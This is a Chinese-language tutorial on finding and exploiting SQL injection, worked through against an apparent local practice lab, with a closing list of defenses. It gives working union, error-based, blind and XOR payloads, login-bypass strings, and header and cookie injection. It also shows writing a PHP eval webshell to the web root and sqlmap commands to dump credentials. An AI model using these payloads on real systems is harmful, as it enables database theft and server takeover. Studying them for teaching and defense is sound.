SQL注入漏洞发现和利用，以及SQL注入的防护

一、背景

SQL注入漏洞是一种常见的软件安全问题，它发生在应用程序的数据库层中。其核心原理是将用户输入的数据当做代码来执行，违反了“数据与代码分离”的原则。具体来说，攻击者通过构造恶意的SQL查询语句，使得应用程序在执行SQL查询时，将攻击者的恶意代码当作正常的SQL查询语句执行，从而获取敏感数据或者破坏系统。
攻击者利用SQL注入漏洞，可以非法获取网站控制权，甚至获取用户的敏感信息。因此，了解SQL注入漏洞的原理、发现方法以及防护措施是非常重要的。
接下来我们了解一下SQL注入发生的原理：

二、原理

接下来我们以MySql数据库为例，MySQL数据库有一个特殊的结构是information_schema数据库，information_schema数据库的有如下结构：
information_schema
     tables
         table_schema（表对应的数据库）
             table_name (所有表名)
     columns
         table_schema（表对应的数据库）
             table_name (所有表名)
             column_name (所有列名)
     schemata （包含所有数据库的名）
         schema_name 数据库名

2.1 我们以正常的SQL为例

例如：select * from tb where username like “%${name}%”；这是以MyBatis为例，在查询数据库的时候使用 ${} 维符号实现SQL语句拼接，此时程序输入参数name=“测试” 那么在业务SQL中会拼接如下：select * from tb where username like “%测试%”；
正因为 ${} 这样直接使用字符串替换且未对用户输入参数进行处理的方式存在，攻击者就可以构造一些恶意的代码比如输入name =1%" or 1=1 --+ 这样拼接的SQL就会如下：select * from tb where username like “%1%” or 1=1 --+%"； 这样SQL语句在直接username like "%1%"没有查询到值的情况下，就会执行where 1=1，就会查到数据库中其他所有的值。
基于如上的原理我们可以构造更加复杂的SQL语句，实现获取更多敏感数据，甚至进一步入侵网站。

2.2 对SQL注入产生原因进行分析

当web应用向后台数据库传递SQL语句进行数据库操作时，如果对用户输入的参数没有经过严格的过滤处理，那么攻击者的输入就会直接被数据库引擎执行，获取或修改数据库中的数据。此外，如果代码中进行了过滤，但是过滤不严格，攻击者还可以通过控制参数和拼接语句来猜解数据库和绕过认证。
接下来我们演示一下如何发现和利用SQL注入漏洞

三、漏洞发现及利用

SQL注入需要遵循以下步骤，首先发现注入点，第二、获取数据库信息，第三、获取对应数据库表信息、第四、获取某一个具体表信息，第五，获取某一个表字段信息

3.1 联合注入

主要是采用数据库字段union ，联合另外一个SQL进行执行，让正常的业务SQL执行没有返回值，那么就会将union联合的SQL执行并回显，
就比如：

id=0’ union select 1,2,concat_ws(‘-’,user(),database(),version()) --+ 使用联合注入查看数据库名称
id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+ 现在我们知道数据库是security，然后我们要查看这个数据库有哪些表
id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘user’ --+ 查看这个表中有哪些列内容
id=0’ union select 1,(select group_concat(username,password) from users),user() --+ 查询具体表中的数据，然后通过串联成一个字符串进行显示

//注意在使用查询的时候，如果有字段是关键字，会导致查询报错怎么办，使用 table.column 及在写查询行数据的时候 表名.字段名 这样可以避免 字段是关键字的问题。

3.2 报错注入

在许多情况下，Web程序没有正常显示错误回显，这使得我们可以利用报错注入的方式来进行SQL注入。具体来说，攻击者通过构造特殊的SQL语句，插入恶意代码，尝试触发数据库报错并显示报错信息。然后，攻击者根据报错信息判断注入是否成功，并获取到数据库中的敏感信息。需要注意的是，报错注入的使用场景一般是在页面无法显示数据库的信息，但是是有报错内容的。

http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database())))-- - 查询数据库
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_name=‘ctf’)))-- - 查询表
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(flag) from ctf)))-- - 查询字段
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select substr(group_concat(flag),20,99) from ctf)))-- - 由于字段过长进行字段拼接

3.3 布尔盲注

攻击者通过构造特定的SQL语句，通过判断某个条件的真假来获取数据库中的信息。在不知道数据库返回值的情况下对数据中的内容进行猜测，实施SQL注入。基于布尔的盲注指的是Web的页面仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

http://192.168.244.100:83/Less-8/?id=1’ and (ascii(substr(database(),1,1))>95)-- -
回显正常，database()第一个字母ascii大于95
http://192.168.244.100:83/Less-8/?id=1’ and (ascii(substr(database(),1,1))>120)-- -
回显异常，database()第一个字母ascii小于120

3.4 时间盲注

这种攻击方法根据页面的响应时间来判断是否存在注入。具体来说，当页面出现延时响应，且响应时间与设定的时间函数一致，则表示前半部分的猜测正确，若出现查询直接返回结果，页面响应未出现延迟，则说明未执行到时间函数的部分

http://192.168.244.100:83/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>99,1,sleep(3))-- -
页面响应无卡顿,database()第一个字母ascii大于99
http://192.168.244.100:83/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>120,1,sleep(3))-- -
页面响应卡顿3秒,database()第一个字母ascii小于120

3.5 直接写入php木马文件

通过SQL语句向指定路径写入文件

http://192.168.244.100:83/Less-1/?id=1’ union select 1,‘<?php eval($_POST[1]);phpinfo();?>’,3 into outfile ‘/var/www/html/upload/kkk.php’-- - 向一个指定路径下下入kkk.php ,内容就是PHP的一句话木马

password=123&username=1’union%0bselect%0b’<?=eval($_POST[1]);?>‘,1%0binto%0boutfile%0b’/var/www/html/x.php’%23 也是向指定目录下写入PHP的一句话木马

这样就可以使用中国蚁剑进行连接，从而控制服务器的目的。

3. 6万能密码

再知道用户名不知道密码的情况下，构造SQL语句屏蔽后续验证密码的SQL语句

http://192.168.244.100:83/Less-11/
用户名: admin’ or 1#
密码: 随便输入
登陆后下翻页面可以看到SuccessFully

3.7 UA头&Cookie注入

UA头注入
http://192.168.244.100:83/Less-18/
开启抓包
用户名: admin
密码: admin
登陆
在包体中更改UA头部分,单引号显示报错
然后更改并闭合UA头
1’,1,updatexml(1,concat(0x3a,(select database())),1)||‘1’='1
即可达到报错注入的效果

3.9 Cookie注入

http://192.168.244.100:83/Less-20/
用户名: admin
密码: admin
登陆
开启抓包，刷新界面后
在包体中更改Cookie部分,单引号显示报错
Cookie部分替换为
uname=admin’ and updatexml(1,concat(0x3a,(select database())),1)||‘1’='1
即可达到报错注入的效果

3.10 异或注入

异或运算的规则是：两个条件相同（同真或同假）即为假（0），两个条件不同即为真（1）。同时，对于空值（null）与任何条件的异或运算结果都为null。因此，在SQL注入过程中，通过应用异或逻辑，我们可以改变原有的SQL查询语句，从而使得原本被过滤或屏蔽的关键字能够被执行

http://192.168.244.100:83/Less-yh/?id=1^(length(database())>0)-- -
http://192.168.244.100:83/Less-yh/?id=1^(length(database())>999)-- -
异或注入 1^ 0 = 1 1^1=0 当后面的语句正确时候无回显 当后面的语句错误时候有回显

3.11 二次注入

在于知道用户名，重新注册用户的时候，在用户名上机型设计，让新用户登录可以关联到原有用户上面，而不需要原有账户的密码

有一个用户LTLT 密码123
我们注册一个LTLT’# 密码qwe
当我们登陆进LTLT’#后 更改密码为kkk
那么就会发现LTLT的密码被改位kkk了

3.12 虚表登陆

原本数据库没有这个信息，我们通过自己构造一个虚拟的用户数据进入，确保查询能够正常返回结果

http://192.168.244.100:83/Less-xb/xb.php
用户名: xxx’ union select 1,‘admin_LTLT’,‘qwe’-- -
密码: qwe
原理: 构造了一个虚表，将password列置为我们自定义的字符串

3.13 无列名注入

http://192.168.244.100:83/Less-1/?id=1’ and 0 union select 1,group_concat(2),3 from (select 1,2 union select * from ctf)a-- -
在不知道列名的情况下，我们通过联合表的方法新构造一个table以及表头，再将我们自定义的列名通过其他方式查询出来

3.14 使用sqlmap进行注入

#获取所有数据库信息
python sqlmap.py -u “url” --dbms=mysql --dbs --batch
#获取security数据库下的表信息
python sqlmap.py -u “url” --dbms=mysql -D “security” --tables --batch
#获取security数据库下的users表下的列信息
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --batch
#获取users表下的字段信息
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --columns --batch
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” -C “id,username,password” --dump --batch

#若是POST请求
1、使⽤"–data"参数
python sqlmap.py -u “url” --data “id=1” --dbs --batch
2、将http请求数据保存下来，然后使⽤"-r"参数进⾏注⼊攻击，注意这里面的post_data.txt是通过bp获取的提交给服务端的信息
python sqlmap.py -r post_data.txt --dbs --batch

3.15 绕过方法总结

绕过空格: // select//xxx//from//yyy//where//ddd=eee
    括号 select(xxx)from(yyy)where(ddd=eee)

绕过等号: 可以使用 like regexp

绕过注释符: ||or’0 以闭合后面的单引号

绕过limit 0,1 中的逗号: limit 1 offset 1

绕过ascii: ord

绕过substr: mid left right

四、漏洞防护手段

为了防止报错注入攻击，提供了以下方式：
1.使用PreparedStatement：PreparedStatement可以有效避免SQL注入问题，当数据库在处理一个SQL命令的时候，可以将变量代入指令集，开始实际执行，避免了重复解析SQL的过程。
2.使用存储过程：存储过程也可以防止SQL注入，由于存储过程将查询和数据操作封装在一起，因此减少了未经验证的用户输入直接构成SQL命令的可能性。
3.验证用户输入：这是防止SQL注入最基本也是最重要的方法。开发者需要确保所有从用户接收的输入都经过严格的验证和过滤，以防止恶意代码的执行。
4.使用ORM框架：对象关系映射（ORM）框架如Hibernate和MyBatis等，它们可以帮助开发者更好地管理数据库操作，减少因错误使用SQL语句而引发的安全问题。
5.使用参数化查询：参数化查询可以有效防止SQL注入攻击，因为它将查询和数据分开处理，从而避免了恶意用户输入被解析为SQL代码。
6.限制数据库权限：为数据库账户设置最小权限原则，可以减少潜在的损害。例如，只给予应用程序账户执行其任务所需的最小权限。
7.定期更新和修补系统：这可以帮助及时修复已知的安全漏洞，避免被攻击者利用。

五、总结

SQL注入漏洞的存在对系统乃至整个服务器都会产生严重的危害，有多种方式可以进行SQL注入漏洞的利用，程序在开发过程中零信任用户的输入，对其进行严格的限制，并且采用市面上成熟的框架和成熟的方法（参数化查询）进行sql语句的解析。攻防的方法还在不断的进化，大家对SQL注入有哪些疑问、见解或者最新的攻击方式，请评论区进行留言。